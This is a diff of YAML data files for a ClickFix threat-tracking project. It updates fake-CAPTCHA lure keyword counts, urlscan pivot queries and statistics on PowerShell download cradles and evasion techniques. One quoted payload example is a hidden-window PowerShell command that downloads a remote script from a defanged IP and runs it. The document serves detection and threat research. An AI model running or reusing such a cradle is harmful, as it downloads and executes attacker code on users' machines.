diff --git a/_data/clickfix_lure_keywords.yml b/_data/clickfix_lure_keywords.yml
index 83bc1c4..16d1897 100644
--- a/_data/clickfix_lure_keywords.yml
+++ b/_data/clickfix_lure_keywords.yml
@@ -2,133 +2,133 @@
 # keywords from MHaggis crawls, for chokepoint OSINT pivots + IOK matchers (#012).
 
 meta:
-  generated: '2026-06-15'
+  generated: '2026-07-17'
   source: MHaggis ClickGrab nightly crawls (SuspiciousKeywords)
-  sites_analyzed: 2700
+  sites_analyzed: 4662
 lure_keywords:
 - phrase: robot
-  sites: 1140
+  sites: 1953
 - phrase: captcha
-  sites: 656
+  sites: 1095
 - phrase: verification
-  sites: 494
+  sites: 761
 - phrase: i am not a robot
-  sites: 388
-- phrase: to better prove you are not a robot
-  sites: 388
+  sites: 599
 - phrase: captcha verification
-  sites: 388
+  sites: 582
 - phrase: verification-id
-  sites: 388
+  sites: 582
 - phrase: you will observe
-  sites: 388
-- phrase: verify you are human
-  sites: 342
+  sites: 582
+- phrase: to better prove you are not a robot
+  sites: 582
 - phrase: verification id
-  sites: 342
+  sites: 513
+- phrase: verify you are human
+  sites: 513
 - phrase: ray id
-  sites: 317
+  sites: 468
 - phrase: checking if you are human
-  sites: 317
+  sites: 451
 - phrase: captcha-verificatie-id
-  sites: 290
+  sites: 405
 - phrase: captchaloading
-  sites: 71
+  sites: 131
 - phrase: captcha-logo
-  sites: 71
-- phrase: captchalisteners
-  sites: 71
+  sites: 131
 - phrase: captchacheckbox
-  sites: 71
-- phrase: captcha-badge
-  sites: 52
-- phrase: invoke
-  sites: 51
+  sites: 131
+- phrase: captchalisteners
+  sites: 131
 - phrase: captcha-js
-  sites: 51
+  sites: 89
+- phrase: captcha-badge
+  sites: 86
 - phrase: verification hash
-  sites: 46
-- phrase: captcha-js-before
-  sites: 26
-- phrase: amos
-  sites: 26
+  sites: 86
+- phrase: invoke
+  sites: 83
 - phrase: captcha-box
-  sites: 25
+  sites: 45
+- phrase: captcha-js-before
+  sites: 45
 - phrase: captcha-frontend-css
-  sites: 25
-- phrase: bitmap
-  sites: 24
-- phrase: virtualalloc
-  sites: 24
-- phrase: captcha-styles-css
-  sites: 22
+  sites: 44
+- phrase: amos
+  sites: 44
 - phrase: captcha-verified
-  sites: 22
+  sites: 42
 - phrase: captcha-overlay
-  sites: 22
+  sites: 42
 - phrase: captchaimages
-  sites: 22
-- phrase: captcha-styles
-  sites: 22
-- phrase: captcha-loader
-  sites: 22
-- phrase: captcha-container
-  sites: 22
-- phrase: captcha-loader-js
-  sites: 22
+  sites: 42
 - phrase: captcha-modal
-  sites: 22
+  sites: 42
+- phrase: captcha-styles
+  sites: 42
+- phrase: captcha-container
+  sites: 42
+- phrase: captcha-loader
+  sites: 42
+- phrase: captcha-loader-js
+  sites: 42
+- phrase: captcha-styles-css
+  sites: 42
+- phrase: virtualalloc
+  sites: 37
+- phrase: bitmap
+  sites: 37
 - phrase: odyssey
-  sites: 21
+  sites: 37
 - phrase: captchaerror
-  sites: 14
+  sites: 33
 - phrase: captchasitekey
-  sites: 14
+  sites: 33
 - phrase: press enter
-  sites: 13
+  sites: 29
 lure_families:
 - name: CaptchaElements
-  sites: 459
+  sites: 706
 - name: FakeCloudflare
-  sites: 455
+  sites: 664
 - name: FakeGlitchLures
-  sites: 229
+  sites: 417
 - name: BotDetection
-  sites: 61
+  sites: 129
 - name: ClickFixInstructions
-  sites: 27
+  sites: 79
 - name: FakeWindowsUpdate
-  sites: 24
+  sites: 37
 urlscan_pivots:
 - phrase: i am not a robot
-  sites: 388
+  sites: 599
   query: page.body:navigator.clipboard AND page.body:"i am not a robot"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22i%20am%20not%20a%20robot%22
-- phrase: to better prove you are not a robot
-  sites: 388
-  query: page.body:navigator.clipboard AND page.body:"to better prove you are not a robot"
-  url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22to%20better%20prove%20you%20are%20not%20a%20robot%22
 - phrase: captcha verification
-  sites: 388
+  sites: 582
   query: page.body:navigator.clipboard AND page.body:"captcha verification"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22captcha%20verification%22
 - phrase: verification-id
-  sites: 388
+  sites: 582
   query: page.body:navigator.clipboard AND page.body:"verification-id"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verification-id%22
 - phrase: you will observe
-  sites: 388
+  sites: 582
   query: page.body:navigator.clipboard AND page.body:"you will observe"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22you%20will%20observe%22
-- phrase: verify you are human
-  sites: 342
-  query: page.body:navigator.clipboard AND page.body:"verify you are human"
-  url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verify%20you%20are%20human%22
+- phrase: to better prove you are not a robot
+  sites: 582
+  query: page.body:navigator.clipboard AND page.body:"to better prove you are not a robot"
+  url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22to%20better%20prove%20you%20are%20not%20a%20robot%22
 - phrase: verification id
-  sites: 342
+  sites: 513
   query: page.body:navigator.clipboard AND page.body:"verification id"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verification%20id%22
+- phrase: verify you are human
+  sites: 513
+  query: page.body:navigator.clipboard AND page.body:"verify you are human"
+  url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22verify%20you%20are%20human%22
 - phrase: checking if you are human
-  sites: 317
+  sites: 451
   query: page.body:navigator.clipboard AND page.body:"checking if you are human"
   url: https://urlscan.io/search/#page.body%3Anavigator.clipboard%20AND%20page.body%3A%22checking%20if%20you%20are%20human%22
diff --git a/_data/clickgrab_trends.yml b/_data/clickgrab_trends.yml
index 961e136..5870cca 100644
--- a/_data/clickgrab_trends.yml
+++ b/_data/clickgrab_trends.yml
@@ -4,17 +4,17 @@
 
 meta:
   source: https://mhaggis.github.io/ClickGrab/
-  date_range: 2025-04-17 to 2026-07-13
-  total_reports: 548
-  total_sites_crawled: 26969
-  total_malicious: 22772
+  date_range: 2025-04-17 to 2026-07-16
+  total_reports: 551
+  total_sites_crawled: 27269
+  total_malicious: 22890
   total_domains: 3777
-  generated: '2026-07-13'
-  appended_through: '2026-07-13'
-  carson_landscape: 3736
-  carson_updated: '2026-07-09T04:00:44Z'
-  carson_lure_overlap: 64
-  carson_lure_observed: 96
+  generated: '2026-07-17'
+  appended_through: '2026-07-16'
+  carson_landscape: 3774
+  carson_updated: '2026-07-16T21:00:53Z'
+  carson_lure_overlap: 58
+  carson_lure_observed: 89
   domain_source: clickfix-domains-all-2026-07-17.xlsx
   domain_updated: '2026-07-17'
 daily:
@@ -5038,6 +5038,63 @@ daily:
     self_delete: 3
     start_sleep: 3
     hidden_window: 5
+- date: '2026-07-14'
+  total_sites: 100
+  malicious: 41
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 3
+    curl: 0
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 0
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 3
+    start_sleep: 3
+    hidden_window: 5
+- date: '2026-07-15'
+  total_sites: 100
+  malicious: 41
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 2
+    curl: 1
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 1
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 2
+    start_sleep: 2
+    hidden_window: 4
+- date: '2026-07-16'
+  total_sites: 100
+  malicious: 36
+  cradles:
+    iwr_iex: 3
+    irm_iex: 0
+    webclient: 1
+    curl: 1
+    msiexec: 0
+    vbs_wscript: 1
+    hex_xor: 0
+    inline_no_url: 2
+  evasion:
+    mixed_case: 0
+    base64: 1
+    cdn_staging: 1
+    self_delete: 1
+    start_sleep: 1
+    hidden_window: 3
 payload_examples:
   iwr_iex:
   - date: '2025-08-14'
@@ -5080,22 +5137,22 @@ payload_examples:
   - date: '2025-10-31'
     text: cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex"
 cradles_total:
-  iwr_iex: 2269
+  iwr_iex: 2278
   irm_iex: 89
-  webclient: 1034
-  curl: 1437
+  webclient: 1040
+  curl: 1439
   msiexec: 1027
-  vbs_wscript: 387
+  vbs_wscript: 390
   hex_xor: 70
-  inline_no_url: 705
+  inline_no_url: 708
 evasion_totals:
   mixed_case: 1697
-  base64: 10477
-  cdn_staging: 464
-  self_delete: 1017
-  start_sleep: 1017
-  hidden_window: 3509
-  inline_payload: 705
+  base64: 10480
+  cdn_staging: 467
+  self_delete: 1023
+  start_sleep: 1023
+  hidden_window: 3521
+  inline_payload: 708
 domain_monthly:
 - month: 2025-08
   n: 135
@@ -5709,24 +5766,24 @@ monthly:
     start_sleep: 83
     hidden_window: 139
 - month: 2026-07
-  total_sites: 1262
-  malicious: 522
+  total_sites: 1562
+  malicious: 640
   cradles:
-    iwr_iex: 39
+    iwr_iex: 48
     irm_iex: 0
-    webclient: 22
-    curl: 18
+    webclient: 28
+    curl: 20
     msiexec: 0
-    vbs_wscript: 13
+    vbs_wscript: 16
     hex_xor: 0
-    inline_no_url: 13
+    inline_no_url: 16
   evasion:
     mixed_case: 0
-    base64: 13
-    cdn_staging: 13
-    self_delete: 22
-    start_sleep: 22
-    hidden_window: 48
+    base64: 16
+    cdn_staging: 16
+    self_delete: 28
+    start_sleep: 28
+    hidden_window: 60
 domain_cradles_total:
   iwr: 343
   irm: 196